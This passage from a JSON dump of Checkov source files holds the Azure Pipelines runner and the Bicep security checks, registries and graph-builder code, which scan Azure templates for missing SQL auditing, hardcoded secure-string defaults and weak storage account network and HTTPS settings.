    "content": "from __future__ import annotations\n\nfrom typing import Any, Dict, List\n\nfrom checkov.common.util.consts import START_LINE, END_LINE\n\n\ndef _get_resource_from_code_block(start_line: int, end_line: int, block_to_inspect: dict[str, Any], inspected_key: str | None) -> str | None:\n    if block_to_inspect[START_LINE] <= start_line <= end_line <= block_to_inspect[END_LINE]:\n        block_name = block_to_inspect.get('displayName',\n                                          block_to_inspect.get('name',\n                                                               block_to_inspect.get('job',\n                                                                                    block_to_inspect.get('stage',\n                                                                                                         False))))\n        inspected_key = f'{inspected_key}({block_name})' if block_name else inspected_key\n        if block_to_inspect[START_LINE] == start_line:\n            return inspected_key\n        return generate_resource_key_recursive(start_line, end_line, block_to_inspect, resource_key=inspected_key)\n    return None\n\n\ndef generate_resource_key_recursive(start_line: int, end_line: int,\n                                    file_conf: Dict[str, Any] | List[Dict[str, Any]], resource_key: str | None = None\n                                    ) -> str | None:\n    if not isinstance(file_conf, dict):\n        return resource_key\n\n    for code_block_name, code_block in file_conf.items():\n        if isinstance(code_block, dict):\n            new_key = f'{resource_key}.{code_block_name}' if resource_key else code_block_name\n            resource = _get_resource_from_code_block(start_line, end_line, code_block, new_key)\n            if resource:\n                return resource\n        elif isinstance(code_block, list):\n            for index, item in enumerate(code_block):\n                if isinstance(item, dict):\n                    resource_key_to_inspect = f'{resource_key}.{code_block_name}[{index}]' if resource_key else f'{code_block_name}[{index}]'\n                    resource = _get_resource_from_code_block(start_line, end_line, item, resource_key_to_inspect)\n                    if resource:\n                        return resource\n    return resource_key\n"
  },
  {
    "path": "checkov/azure_pipelines/runner.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING, Any, Optional\n\nfrom checkov.azure_pipelines.checks.registry import registry\nfrom checkov.azure_pipelines.common.resource_id_utils import generate_resource_key_recursive\nfrom checkov.common.output.report import CheckType, Report\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.yaml_doc.runner import Runner as YamlRunner\n\nif TYPE_CHECKING:\n    from checkov.common.checks.base_check_registry import BaseCheckRegistry\n    from collections.abc import Iterable\n\n\nclass Runner(YamlRunner):\n    check_type = CheckType.AZURE_PIPELINES  # noqa: CCE003  # a static attribute\n\n    def require_external_checks(self) -> bool:\n        return False\n\n    def import_registry(self) -> BaseCheckRegistry:\n        return registry\n\n    @staticmethod\n    def _parse_file(\n        f: str, file_content: str | None = None\n    ) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None:\n        if Runner.is_workflow_file(f):\n            return YamlRunner._parse_file(f=f)\n        return None\n\n    @staticmethod\n    def is_workflow_file(file_path: str) -> bool:\n        return file_path.endswith(('azure-pipelines.yml', 'azure-pipelines.yaml'))\n\n    def get_resource(self, file_path: str, key: str, supported_entities: Iterable[str],\n                     start_line: int = -1, end_line: int = -1, graph_resource: bool = False) -> str:\n        if not self.definitions or not isinstance(self.definitions, dict):\n            return key\n        resource_name: Optional[str] = generate_resource_key_recursive(start_line, end_line, self.definitions[file_path])\n        return resource_name if resource_name else key\n\n    def run(\n            self,\n            root_folder: str | None = None,\n            external_checks_dir: list[str] | None = None,\n            files: list[str] | None = None,\n            runner_filter: RunnerFilter | None = None,\n            collect_skip_comments: bool = True,\n    ) -> Report | list[Report]:\n        runner_filter = runner_filter or RunnerFilter()\n        report = super().run(root_folder=root_folder, external_checks_dir=external_checks_dir,\n                             files=files, runner_filter=runner_filter, collect_skip_comments=collect_skip_comments)\n        return report\n"
  },
  {
    "path": "checkov/bicep/__init__.py",
    "content": "from checkov.bicep.checks import *  # noqa\n"
  },
  {
    "path": "checkov/bicep/checks/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/bicep/checks/graph_checks/SQLServerAuditingEnabled.yaml",
    "content": "metadata:\n  id: \"CKV_AZURE_23\"\n  name: \"Ensure that 'Auditing' is set to 'On' for SQL servers\"\n  category: \"LOGGING\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      operator: within\n      value:\n        - Microsoft.Sql/servers\n        - Microsoft.Sql/servers/databases\n    - or:\n        - and:\n            - cond_type: connection\n              resource_types:\n                - Microsoft.Sql/servers\n              connected_resource_types:\n                - Microsoft.Sql/servers/auditingSettings\n              operator: exists\n            - cond_type: attribute\n              resource_types:\n                - Microsoft.Sql/servers/auditingSettings\n              attribute: properties.state\n              operator: equals\n              value: Enabled\n        - and:\n            - cond_type: connection\n              resource_types:\n                - Microsoft.Sql/servers/databases\n              connected_resource_types:\n                - Microsoft.Sql/servers/databases/auditingSettings\n              operator: exists\n            - cond_type: attribute\n              resource_types:\n                - Microsoft.Sql/servers/databases/auditingSettings\n              attribute: properties.state\n              operator: equals\n              value: Enabled\n"
  },
  {
    "path": "checkov/bicep/checks/graph_checks/SQLServerAuditingRetention90Days.yaml",
    "content": "metadata:\n  id: \"CKV_AZURE_24\"\n  name: \"Ensure that 'Auditing' Retention is 'greater than 90 days' for SQL servers\"\n  category: \"LOGGING\"\ndefinition:\n  and:\n    - cond_type: \"filter\"\n      attribute: \"resource_type\"\n      value:\n        - \"Microsoft.Sql/servers\"\n      operator: \"within\"\n    - cond_type: \"connection\"\n      resource_types:\n        - \"Microsoft.Sql/servers\"\n      connected_resource_types:\n        - \"Microsoft.Sql/servers/auditingSettings\"\n      operator: \"exists\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"Microsoft.Sql/servers/auditingSettings\"\n      attribute: \"properties.retentionDays\"\n      operator: \"exists\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"Microsoft.Sql/servers/auditingSettings\"\n      attribute: \"properties.retentionDays\"\n      operator: \"greater_than_or_equal\"\n      value: 90\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"Microsoft.Sql/servers/auditingSettings\"\n      attribute: \"properties.state\"\n      operator: \"equals\"\n      value: Enabled\n"
  },
  {
    "path": "checkov/bicep/checks/graph_checks/SQLServerThreatDetectionTypes.yaml",
    "content": "metadata:\n  id: \"CKV_AZURE_25\"\n  name: \"Azure SQL Server threat detection alerts are enabled for all threat types\"\n  category: \"LOGGING\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      operator: within\n      value:\n        - Microsoft.Sql/servers\n        - Microsoft.Sql/servers/databases\n    - or:\n        - and:\n            - cond_type: connection\n              resource_types:\n                - Microsoft.Sql/servers\n              connected_resource_types:\n                - Microsoft.Sql/servers/securityAlertPolicies\n              operator: exists\n            - cond_type: attribute\n              resource_types:\n                - Microsoft.Sql/servers/securityAlertPolicies\n              attribute: properties.state\n              operator: equals\n              value: Enabled\n            - or:\n              - cond_type: attribute\n                resource_types:\n                  - Microsoft.Sql/servers/securityAlertPolicies\n                attribute: properties.disabledAlerts\n                operator: is_empty\n              - cond_type: attribute\n                resource_types:\n                  - Microsoft.Sql/servers/securityAlertPolicies\n                attribute: properties.disabledAlerts\n                operator: not_exists\n        - and:\n            - cond_type: connection\n              resource_types:\n                - Microsoft.Sql/servers/databases\n              connected_resource_types:\n                - Microsoft.Sql/servers/databases/securityAlertPolicies\n              operator: exists\n            - cond_type: attribute\n              resource_types:\n                - Microsoft.Sql/servers/databases/securityAlertPolicies\n              attribute: properties.state\n              operator: equals\n              value: Enabled\n            - or:\n                - cond_type: attribute\n                  resource_types:\n                    - Microsoft.Sql/servers/databases/securityAlertPolicies\n                  attribute: properties.disabledAlerts\n                  operator: is_empty\n                - cond_type: attribute\n                  resource_types:\n                    - Microsoft.Sql/servers/databases/securityAlertPolicies\n                  attribute: properties.disabledAlerts\n                  operator: not_exists\n"
  },
  {
    "path": "checkov/bicep/checks/graph_checks/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/bicep/checks/param/__init__.py",
    "content": "from checkov.bicep.checks.param.azure import *  # noqa\n"
  },
  {
    "path": "checkov/bicep/checks/param/azure/SecureStringParameterNoHardcodedValue.py",
    "content": "from checkov.bicep.checks.param.base_param_check import BaseParamCheck, CheckovParameterAttributes\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n# https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/test-cases#secure-parameters-cant-have-hardcoded-default\n\n\nclass SecureStringParameterNoHardcodedValue(BaseParamCheck):\n    def __init__(self) -> None:\n        name = \"SecureString parameter should not have hardcoded default values\"\n        id = \"CKV_AZURE_131\"\n        supported_type = (\"string\",)\n        categories = (CheckCategories.SECRETS,)\n        super().__init__(name=name, id=id, categories=categories, supported_type=supported_type)\n\n    def scan_param_conf(self, conf: CheckovParameterAttributes) -> CheckResult:\n        if not any(decorator[\"type\"] == \"secure\" for decorator in conf[\"decorators\"]):\n            # if the decorator '@secure()' is not set, then it is a normal string\n            return CheckResult.UNKNOWN\n        default_value = conf.get(\"default\")\n        if default_value:  # should be missing, or an empty string\n            conf[\"CKV_AZURE_131_secret\"] = str(default_value)\n            return CheckResult.FAILED\n        else:\n            return CheckResult.PASSED\n\n\ncheck = SecureStringParameterNoHardcodedValue()\n"
  },
  {
    "path": "checkov/bicep/checks/param/azure/__init__.py",
    "content": "from pathlib import Path\n\nmodules = Path(__file__).parent.glob(\"*.py\")\n__all__ = [f.stem for f in modules if f.is_file() and not f.stem == \"__init__\"]\n"
  },
  {
    "path": "checkov/bicep/checks/param/base_param_check.py",
    "content": "from __future__ import annotations\n\nfrom abc import abstractmethod\nfrom collections.abc import Iterable\nfrom typing import TYPE_CHECKING\n\nfrom pycep.typing import ParameterAttributes\n\nfrom checkov.bicep.checks.param.registry import registry\nfrom checkov.common.checks.base_check import BaseCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\nif TYPE_CHECKING:\n    from typing_extensions import NotRequired\n\n\nclass CheckovParameterAttributes(ParameterAttributes):\n    CKV_AZURE_131_secret: NotRequired[str]  # noqa\n\n\nclass BaseParamCheck(BaseCheck):\n    def __init__(\n        self,\n        name: str,\n        id: str,\n        categories: \"Iterable[CheckCategories]\",\n        supported_type: \"Iterable[str]\",\n        guideline: str | None = None,\n    ) -> None:\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_type,\n            block_type=\"param\",\n            guideline=guideline,\n        )\n        self.supported_type = supported_type\n        registry.register(self)\n\n    def scan_entity_conf(self, conf: CheckovParameterAttributes, entity_type: str) -> CheckResult:  # type:ignore[override]  # it's ok\n        self.entity_type = entity_type\n\n        return self.scan_param_conf(conf)\n\n    @abstractmethod\n    def scan_param_conf(self, conf: CheckovParameterAttributes) -> CheckResult:\n        raise NotImplementedError()\n"
  },
  {
    "path": "checkov/bicep/checks/param/base_registry.py",
    "content": "from __future__ import annotations\n\nfrom collections import defaultdict\nfrom typing import TYPE_CHECKING\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.checks.base_check import BaseCheck\nfrom checkov.common.checks.base_check_registry import BaseCheckRegistry\nfrom checkov.runner_filter import RunnerFilter\n\nif TYPE_CHECKING:\n    from pycep.typing import ParameterAttributes\n\n\nclass Registry(BaseCheckRegistry):\n    def __init__(self) -> None:\n        self.entity_to_check_map: dict[str, set[str]] = defaultdict(set)\n\n        super().__init__(report_type=CheckType.BICEP)\n\n    def register(self, check: BaseCheck) -> None:\n        if self._BaseCheckRegistry__loading_external_checks:  # type:ignore[attr-defined]  # they exist\n            RunnerFilter.notify_external_check(check.id)\n\n        for entity in check.supported_entities:\n            checks = self.wildcard_checks if self._is_wildcard(entity) else self.checks\n            if check.id not in self.entity_to_check_map[entity]:\n                checks[entity].append(check)\n                self.entity_to_check_map[entity].add(check.id)\n\n        self._BaseCheckRegistry__all_registered_checks.append(check)  # type:ignore[attr-defined]  # they exist\n\n    def extract_entity_details(self, entity: dict[str, ParameterAttributes]) -> tuple[str, str, ParameterAttributes]:  # type:ignore[override]  # it's ok\n        param_name, param = next(iter(entity.items()))\n        param_type = param[\"type\"]\n        return param_type, param_name, param\n"
  },
  {
    "path": "checkov/bicep/checks/param/registry.py",
    "content": "from checkov.bicep.checks.param.base_registry import Registry\n\nregistry = Registry()\n"
  },
  {
    "path": "checkov/bicep/checks/resource/__init__.py",
    "content": "from checkov.bicep.checks.resource.azure import *  # noqa\n"
  },
  {
    "path": "checkov/bicep/checks/resource/azure/StorageAccountAzureServicesAccessEnabled.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.bicep.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass StorageAccountAzureServicesAccessEnabled(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure 'Trusted Microsoft Services' is enabled for Storage Account access\"\n        id = \"CKV_AZURE_36\"\n        supported_resources = (\"Microsoft.Storage/storageAccounts\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        self.evaluated_keys = [\"properties/networkAcls/defaultAction\"]\n        properties = conf.get(\"properties\")\n        if properties:\n            if not isinstance(properties, dict):\n                return CheckResult.UNKNOWN\n\n            nacls = properties.get(\"networkAcls\")\n            if nacls and isinstance(nacls, dict):\n                default_action = nacls.get(\"defaultAction\")\n                if default_action == \"Deny\":\n                    bypass = nacls.get(\"bypass\")\n                    if not bypass or bypass == \"None\":\n                        self.evaluated_keys.append(\"properties/networkAcls/bypass\")\n                        return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = StorageAccountAzureServicesAccessEnabled()\n"
  },
  {
    "path": "checkov/bicep/checks/resource/azure/StorageAccountDefaultNetworkAccessDeny.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.bicep.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass StorageAccountDefaultNetworkAccessDeny(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure default network access rule for Storage Accounts is set to deny\"\n        id = \"CKV_AZURE_35\"\n        supported_resources = (\"Microsoft.Storage/storageAccounts\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/networkAcls/defaultAction\"\n\n    def get_expected_value(self) -> Any:\n        return \"Deny\"\n\n\ncheck = StorageAccountDefaultNetworkAccessDeny()\n"
  },
  {
    "path": "checkov/bicep/checks/resource/azure/StorageAccountsTransportEncryption.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.bicep.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.util.type_forcers import force_int\n\n\nclass StorageAccountsTransportEncryption(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that 'supportsHttpsTrafficOnly' is set to 'true'\"\n        id = \"CKV_AZURE_3\"\n        supported_resources = (\"Microsoft.Storage/storageAccounts\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        self.evaluated_keys = [\"properties/supportsHttpsTrafficOnly\"]\n        properties = conf.get(\"properties\")\n        if properties:\n            if not isinstance(properties, dict):\n                return CheckResult.UNKNOWN\n\n            https_only = properties.get(\"supportsHttpsTrafficOnly\")\n            if https_only is True:\n                return CheckResult.PASSED\n            elif https_only is False:\n                return CheckResult.FAILED\n\n        year = force_int(self.api_version[:4])\n        if year is None:\n            return CheckResult.UNKNOWN\n        elif year < 2019:\n            return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = StorageAccountsTransportEncryption()\n"
  },
  {
    "path": "checkov/bicep/checks/resource/azure/__init__.py",
    "content": "from pathlib import Path\n\nmodules = Path(__file__).parent.glob(\"*.py\")\n__all__ = [f.stem for f in modules if f.is_file() and not f.stem == \"__init__\"]\n"
  },
  {
    "path": "checkov/bicep/checks/resource/base_registry.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\n\nfrom checkov.common.checks.base_check import BaseCheck\nfrom checkov.common.checks.base_check_registry import BaseCheckRegistry\nfrom checkov.common.checks_infra.registry import get_graph_checks_registry\nfrom checkov.common.output.report import CheckType\nfrom checkov.runner_filter import RunnerFilter\n\nif TYPE_CHECKING:\n    from pycep.typing import ResourceAttributes\n\n\nclass Registry(BaseCheckRegistry):\n    def __init__(self) -> None:\n        self.check_id_to_enitity_map: dict[str, list[str]] = {}\n\n        self.graph_registry = get_graph_checks_registry(CheckType.BICEP)\n        self.graph_registry.load_checks()\n        self.graph_check_ids = [check.id for check in self.graph_registry.checks]\n\n        super().__init__(report_type=CheckType.BICEP)\n\n    def register(self, check: BaseCheck) -> None:\n        # a copy of the original method to be able to prioritize Bicep styled checks over the ARM equivalent\n        if self._BaseCheckRegistry__loading_external_checks:  # type:ignore[attr-defined]  # they exist\n            RunnerFilter.notify_external_check(check.id)\n\n        # don't add an ARM check, if a Bicep graph check exists for it\n        if check.id in self.graph_check_ids:\n            return\n\n        # remove the ARM check, if a Bicep check with the same check ID exists\n        if check.id in self.check_id_to_enitity_map.keys():\n            if check.__module__.split(\".\")[1] != \"bicep\":\n                return\n\n            entities = self.check_id_to_enitity_map[check.id]\n            for entity in entities:\n                checks = self.wildcard_checks if self._is_wildcard(entity) else self.checks\n                check_idx = next((idx for idx, c in enumerate(checks[entity]) if c.id == check.id), None)\n                if check_idx is not None:\n                    del checks[entity][check_idx]\n\n            del self.check_id_to_enitity_map[check.id]\n\n        for entity in check.supported_entities:\n            checks = self.wildcard_checks if self._is_wildcard(entity) else self.checks\n            checks[entity].append(check)\n            self.check_id_to_enitity_map.setdefault(check.id, []).append(entity)\n\n        self._BaseCheckRegistry__all_registered_checks.append(check)  # type:ignore[attr-defined]  # they exist\n\n    def extract_entity_details(self, entity: dict[str, ResourceAttributes]) -> tuple[str, str, ResourceAttributes]:  # type:ignore[override]  # it's ok\n        resource_name, resource = next(iter(entity.items()))\n        resource_type = resource[\"type\"]\n        return resource_type, resource_name, resource\n"
  },
  {
    "path": "checkov/bicep/checks/resource/base_resource_check.py",
    "content": "from __future__ import annotations\n\nfrom abc import abstractmethod\nfrom collections.abc import Iterable\nfrom typing import Any, TYPE_CHECKING\n\nfrom checkov.bicep.checks.resource.registry import registry\nfrom checkov.common.checks.base_check import BaseCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\nif TYPE_CHECKING:\n    from pycep.typing import ResourceAttributes\n\n\nclass BaseResourceCheck(BaseCheck):\n    def __init__(\n        self,\n        name: str,\n        id: str,\n        categories: \"Iterable[CheckCategories]\",\n        supported_resources: \"Iterable[str]\",\n        guideline: str | None = None,\n    ) -> None:\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_resources,\n            block_type=\"resource\",\n            guideline=guideline,\n        )\n        self.supported_resources = supported_resources\n        registry.register(self)\n\n    def scan_entity_conf(self, conf: ResourceAttributes, entity_type: str) -> CheckResult:  # type:ignore[override]  # it's ok\n        if conf[\"existing\"] is True:\n            # the existing keyword is used to retrieve information about an already deployed resource\n            return CheckResult.UNKNOWN\n\n        self.entity_type = entity_type\n        self.api_version = conf[\"api_version\"]\n\n        return self.scan_resource_conf(conf[\"config\"])\n\n    @abstractmethod\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        raise NotImplementedError()\n"
  },
  {
    "path": "checkov/bicep/checks/resource/base_resource_value_check.py",
    "content": "from __future__ import annotations\n\nfrom abc import abstractmethod\nfrom collections.abc import Iterable\nfrom typing import Any\n\nfrom checkov.bicep.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.util.data_structures_utils import find_in_dict\n\n\nclass BaseResourceValueCheck(BaseResourceCheck):\n    def __init__(\n        self,\n        name: str,\n        id: str,\n        categories: \"Iterable[CheckCategories]\",\n        supported_resources: \"Iterable[str]\",\n        guideline: str | None = None,\n        missing_block_result: CheckResult = CheckResult.FAILED,\n    ) -> None:\n        super().__init__(\n            name=name, id=id, categories=categories, supported_resources=supported_resources, guideline=guideline\n        )\n        self.missing_block_result = missing_block_result\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        inspected_key = self.get_inspected_key()\n        expected_values = self.get_expected_values()\n\n        value = find_in_dict(conf, inspected_key)\n\n        if value is None:\n            return self.missing_block_result\n        if ANY_VALUE in expected_values:\n            return CheckResult.PASSED\n        if value in expected_values:\n            return CheckResult.PASSED\n        # quite often string values are case-insensitive\n        if isinstance(value, str) and value.lower() in [exp.lower() for exp in expected_values if isinstance(exp, str)]:\n            return CheckResult.PASSED\n\n        return self.missing_block_result\n\n    @abstractmethod\n    def get_inspected_key(self) -> str:\n        \"\"\"\n        :return: JSONPath syntax path of the checked attribute\n        \"\"\"\n        raise NotImplementedError()\n\n    def get_expected_values(self) -> list[Any]:\n        \"\"\"\n        Override the method with the list of acceptable values if the check has more than one possible expected value, given\n        the inspected key\n        :return: List of expected values, defaults to a list of the expected value\n        \"\"\"\n        return [self.get_expected_value()]\n\n    def get_expected_value(self) -> Any:\n        \"\"\"\n        Returns the default expected value, governed by provider best practices\n        \"\"\"\n        return True\n\n    def get_evaluated_keys(self) -> list[str]:\n        return [self.get_inspected_key()]\n"
  },
  {
    "path": "checkov/bicep/checks/resource/registry.py",
    "content": "from checkov.bicep.checks.resource.base_registry import Registry\n\nregistry = Registry()\n"
  },
  {
    "path": "checkov/bicep/graph_builder/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/bicep/graph_builder/context_definitions.py",
    "content": "from __future__ import annotations\n\nfrom pathlib import Path\nfrom typing import cast, List, Tuple, Dict, Any, TYPE_CHECKING\n\nfrom checkov.common.util.suppression import collect_suppressions_for_report\n\nif TYPE_CHECKING:\n    from pycep.typing import BicepJson\n\nBICEP_COMMENT = \"//\"\nDEFINITIONS_KEYS_TO_PARSE = {\"parameters\": \"parameters\", \"resources\": \"resources\"}\n\n\ndef build_definitions_context(definitions: Dict[Path, BicepJson], definitions_raw: Dict[Path, List[Tuple[int, str]]]\n                              ) -> Dict[str, Dict[str, Any]]:\n    definitions_context: Dict[str, Dict[str, Any]] = {}\n    for file_path_object, file_path_definitions in definitions.items():\n        file_path = str(file_path_object)\n        definitions_context[file_path] = {}\n        for definition_attribute, resources in file_path_definitions.items():\n            if definition_attribute not in DEFINITIONS_KEYS_TO_PARSE.values():\n                continue\n            definitions_context[file_path][definition_attribute] = {}\n            # ignore mypy mismatched type warning since it can't resolve this type correctly\n            for resource_key, resource_attributes in resources.items():  # type:ignore[attr-defined]\n                definition_resource = {\"start_line\": resource_attributes[\"__start_line__\"], \"end_line\": resource_attributes[\"__end_line__\"]}\n\n                if definition_attribute == DEFINITIONS_KEYS_TO_PARSE[\"resources\"]:\n                    definition_key = f\"{resource_attributes['type']}.{resource_key}\"\n                    int_start_line = cast(int, definition_resource[\"start_line\"])\n                    int_end_line = cast(int, definition_resource[\"end_line\"])\n                    code_lines_for_suppressions_check = definitions_raw[file_path_object][int_start_line: int_end_line]\n                    definition_resource['skipped_checks'] = collect_suppressions_for_report(code_lines=code_lines_for_suppressions_check)\n                elif definition_attribute == DEFINITIONS_KEYS_TO_PARSE[\"parameters\"]:\n                    definition_key = resource_key\n                    definition_resource[\"type\"] = resource_attributes['type']\n\n                start_line = resource_attributes[\"__start_line__\"]\n                end_line = resource_attributes[\"__end_line__\"]\n\n                # add resource comments to definition lines\n                current_line = str.strip(definitions_raw[file_path_object][start_line - 1][1])\n                while not current_line or current_line[0] == BICEP_COMMENT:\n                    start_line -= 1\n                    current_line = str.strip(definitions_raw[file_path_object][start_line - 1][1])\n\n                # remove next resource comments from definition lines\n                current_line = str.strip(definitions_raw[file_path_object][end_line - 1][1])\n                while not current_line or current_line[0] == BICEP_COMMENT:\n                    end_line -= 1\n                    current_line = str.strip(definitions_raw[file_path_object][end_line - 1][1])\n\n                definition_resource[\"code_lines\"] = definitions_raw[file_path_object][start_line - 1: end_line]\n                definitions_context[file_path][definition_attribute][definition_key] = definition_resource\n\n    return definitions_context\n"
  },
  {
    "path": "checkov/bicep/graph_builder/graph_components/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/bicep/graph_builder/graph_components/block_types.py",
    "content": "from dataclasses import dataclass\nfrom typing import Literal\n\nfrom typing_extensions import TypeAlias  # noqa[TC002]\n\nfrom checkov.common.graph.graph_builder.graph_components.block_types import BlockType as CommonBlockType\n\nBlockTypeAlias: TypeAlias = Literal[\"targetScope\", \"param\", \"var\", \"resource\", \"module\", \"output\"]\n\n\n@dataclass\nclass BlockType(CommonBlockType):\n    TARGET_SCOPE: Literal[\"targetScope\"] = \"targetScope\"\n    PARAM: Literal[\"param\"] = \"param\"\n    VAR: Literal[\"var\"] = \"var\"\n    MODULE: Literal[\"module\"] = \"module\"\n    OUTPUT: Literal[\"output\"] = \"output\"\n"
  },
  {
    "path": "checkov/bicep/graph_builder/graph_components/blocks.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.graph.graph_builder.consts import GraphSource\nfrom checkov.common.graph.graph_builder.graph_components.blocks import Block\n\n\nclass BicepBlock(Block):\n    def __init__(\n        self,\n        name: str,\n        config: dict[str, Any],\n        path: str,\n        block_type: str,\n        attributes: dict[str, Any],\n        id: str = \"\",\n    ) -> None:\n        super().__init__(name, config, path, block_type, attributes, id, GraphSource.BICEP)\n"
  },
  {
    "path": "checkov/bicep/graph_builder/graph_to_tf_definitions.py",
    "content": "from __future__ import annotations\n\nimport os\nfrom pathlib import Path\nfrom typing import Any, TYPE_CHECKING, cast\n\nfrom checkov.bicep.graph_builder.graph_components.block_types import BlockType, BlockTypeAlias\nfrom checkov.bicep.graph_builder.local_graph import BicepElements, BicepElementsAlias\n\nif TYPE_CHECKING:\n    from checkov.bicep.graph_builder.graph_components.blocks import BicepBlock\n    from pycep.typing import BicepJson\n\nBLOCK_TYPE_TO_BICEP_ELEMENTS_MAP = {\n    BlockType.MODULE: BicepElements.MODULES,\n    BlockType.OUTPUT: BicepElements.OUTPUTS,\n    BlockType.PARAM: BicepElements.PARAMETERS,\n    BlockType.RESOURCE: BicepElements.RESOURCES,\n    BlockType.TARGET_SCOPE: BicepElements.GLOBALS,\n    BlockType.VAR: BicepElements.VARIABLES,\n}\n\n\ndef convert_graph_vertices_to_tf_definitions(\n    vertices: list[BicepBlock], root_folder: str | Path | None\n) -> tuple[dict[Path, BicepJson], dict[str, dict[str, Any]]]:\n    tf_definitions: dict[Path, BicepJson] = {}\n    breadcrumbs: dict[str, dict[str, Any]] = {}\n    for vertex in vertices:\n        block_path = Path(vertex.path)\n        # in theory block_type could be any string, but not in a Bicep Graph\n        block_type = cast(\"BlockTypeAlias\", vertex.block_type)\n        bicep_element: BicepElementsAlias = BLOCK_TYPE_TO_BICEP_ELEMENTS_MAP[block_type].value\n        element_name = vertex.name\n\n        if block_type == BlockType.TARGET_SCOPE:\n            element_name = \"scope\"\n\n        tf_definitions.setdefault(block_path, {}).setdefault(bicep_element, {})[element_name] = vertex.config  # type:ignore[typeddict-item]\n\n        if vertex.breadcrumbs:\n            relative_block_path = f\"/{os.path.relpath(block_path, root_folder)}\"\n            add_breadcrumbs(vertex, breadcrumbs, relative_block_path)\n    return tf_definitions, breadcrumbs\n\n\ndef add_breadcrumbs(vertex: BicepBlock, breadcrumbs: dict[str, dict[str, Any]], relative_block_path: str) -> None:\n    breadcrumbs.setdefault(relative_block_path, {})[vertex.name] = vertex.breadcrumbs\n"
  },
  {
    "path": "checkov/bicep/graph_builder/local_graph.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom enum import Enum\nfrom pathlib import Path\nfrom typing import Any, TYPE_CHECKING, overload, Literal\n\nfrom pycep.transformer import BicepElement\nfrom typing_extensions import TypeAlias  # noqa[TC002]\n\nfrom checkov.bicep.graph_builder.graph_components.block_types import BlockType\nfrom checkov.bicep.graph_builder.graph_components.blocks import BicepBlock\nfrom checkov.bicep.graph_builder.variable_rendering.renderer import BicepVariableRenderer\nfrom checkov.common.graph.graph_builder.graph_components.edge import Edge\nfrom checkov.common.graph.graph_builder.local_graph import LocalGraph\nfrom checkov.common.graph.graph_builder.utils import filter_sub_keys\nfrom checkov.common.graph.graph_builder.utils import adjust_value\nfrom checkov.common.util.data_structures_utils import pickle_deepcopy\nfrom checkov.common.util.type_forcers import force_int\n\nif TYPE_CHECKING:\n    from checkov.common.graph.graph_builder.graph_components.blocks import Block\n    from pycep.typing import (\n        BicepJson,\n        ResourceAttributes,\n        GlobalsAttributes,\n        ParameterAttributes,\n        VariableAttributes,\n        OutputAttributes,\n        ModuleAttributes,\n    )\n\n\nBicepElementsAlias: TypeAlias = Literal[\"globals\", \"parameters\", \"variables\", \"resources\", \"modules\", \"outputs\"]\n\n\n# mypy: disable-error-code=\"misc\"\nclass BicepElements(str, Enum):\n    GLOBALS: Literal[\"globals\"] = \"globals\"\n    PARAMETERS: Literal[\"parameters\"] = \"parameters\"\n    VARIABLES: Literal[\"variables\"] = \"variables\"\n    RESOURCES: Literal[\"resources\"] = \"resources\"\n    MODULES: Literal[\"modules\"] = \"modules\"\n    OUTPUTS: Literal[\"outputs\"] = \"outputs\"\n\n\nclass BicepLocalGraph(LocalGraph[BicepBlock]):\n    def __init__(self, definitions: dict[Path, BicepJson]) -> None:\n        super().__init__()\n        self.vertices: list[BicepBlock] = []\n        self.definitions = definitions\n        self.vertices_by_name: dict[str, int] = {}\n\n    def build_graph(self, render_variables: bool) -> None:\n        self._create_vertices()\n        logging.info(f\"[BicepLocalGraph] 